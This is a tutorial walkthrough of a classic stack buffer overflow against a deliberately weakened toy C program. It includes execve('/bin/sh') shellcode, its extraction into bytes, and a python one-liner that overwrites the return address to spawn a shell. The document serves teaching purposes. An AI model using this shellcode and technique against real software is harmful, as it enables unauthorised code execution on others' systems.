Building the basic stack overflow, we can exploit the same vulnerability to spawn a shell.
This time, we won't be using gets
but strcpy
that copies a string into a buffer.
#include <stdlib.h>
#include <string.h>
void copyData(char* data) {
char buf[4];
strcpy(buf, data);
}
int main(int argc, char *argv[]) {
copyData(argv[1]);
return EXIT_SUCCESS;
}
A basic compilation using gcc -Wall main.c
allows us this execution flow:
$ ./a.out Hi
$ ./a.out HelloWorld!
*** stack smashing detected ***: terminated
zsh: IOT instruction (core dumped) ./a.out HellowWorld!
Our clever OS detected a stack smashing, meaning the stack canary has died in execution, forcing the process to crash.
For this exercise, we will compile our code using these flags to disable canaries and allow code to be executed from the stack: -fno-stack-protector -zexecstack -no-pie
.
To spawn a command prompt, we can execute the file /bin/sh
using the system call execve
.
Let's first build an assembly code doing just this:
global _start
section .text
_start:
xor rax, rax
push rax
mov rdx, rsp
mov rbx, 0x68732f6e69622f2f ; '/bin/sh' ascii, reversed.
push rbx
mov rdi, rsp
push rax
push rdi
mov rsi,rsp
add rax, 59 ; execve syscall ID
syscall
Let's compile it, build an executable and test it:
$ nasm -felf64 shellcode.S -o shellcode.o
$ ld shellcode.o -o shellcode
$ ./shellcode
sh-5.1$
It works like a charm.
Now what we actually want is a way to have this assembly code embedded into a string, so that we can copy it into the stack using the vulnerable strcpy
and execute it at will.
$ objdump -d shellcode
shellcode: file format elf64-x86-64
Disassembly of section .text:
0000000000401000 <_start>:
401000: 48 31 c0 xor %rax,%rax
401003: 50 push %rax
401004: 48 89 e2 mov %rsp,%rdx
401007: 48 bb 2f 2f 62 69 6e movabs $0x68732f6e69622f2f,%rbx
40100e: 2f 73 68
401011: 53 push %rbx
401012: 48 89 e7 mov %rsp,%rdi
401015: 50 push %rax
401016: 57 push %rdi
401017: 48 89 e6 mov %rsp,%rsi
40101a: 48 83 c0 3b add $0x3b,%rax
40101e: 0f 05 syscall
What we need are the hexadecimal codes representing the instructions, wich can be extracted using some clever utilities and piping usage:
$ objdump -d shellcode | grep ' [0-9a-f]*:' | cut -f2 -d: | cut -f1-7 -d' '| sed 's/\t/\\x/g' | tr -s " " | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s
\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05
Let's build a software that embeds this shell spawning code:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void shell_pwn() {
const char code[] =
"\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";
int (*ret)() = (int(*)())code;
ret();
}
int copytobuffer(char* input) {
char buffer[4];
strcpy (buffer,input);
return EXIT_SUCCESS;
}
int main (int argc, char *argv[]) {
printf("%s\n", argv[1]);
copytobuffer(argv[1]);
return EXIT_SUCCESS;
}
Next, we need to apply the same exploit as the basic buffer overflow.
Using the same kind of GDB exploration, we can find that this command triggers the exploit:
$ ./exploit $(python -c 'print(12*"A"+"\x36\x11\x40\x00")')
AAAAAAAAAAAA6@
sh-5.1$